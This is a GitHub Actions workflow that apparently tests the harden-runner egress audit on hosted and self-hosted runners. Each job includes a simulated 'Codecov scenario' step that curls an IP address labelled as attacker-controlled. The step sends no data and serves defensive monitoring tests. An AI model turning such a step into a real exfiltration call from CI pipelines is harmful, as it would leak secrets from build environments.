arc-secure-by-default.yml

name: "ARC: Secure-By-Default Cluster-Level Policy"
on:
  workflow_dispatch:
  
permissions: {}

jobs:
  direct-ip-hosted:
    permissions:
      contents: read  # for actions/checkout to fetch code
    runs-on: ubuntu-latest
    steps:
      - name: Harden the runner (Audit all outbound calls)
        uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
        with:
          egress-policy: audit

      - uses: actions/checkout@v3

      # Codecov Scenario: Exfiltrate data to attacker's IP address
      - name: Data Exfiltration To Attacker Controlled IP address
        run: curl 104.16.209.12 --connect-timeout 5
  direct-ip-arc:
    permissions:
      contents: read  # for actions/checkout to fetch code
    runs-on: self-hosted
    steps:
      - name: Harden the runner (Audit all outbound calls)
        uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
        with:
          egress-policy: audit

      - uses: actions/checkout@v3

      # Codecov Scenario: Exfiltrate data to attacker's IP address
      - name: Data Exfiltration To Attacker Controlled IP address
        run: curl 104.16.209.12 --connect-timeout 5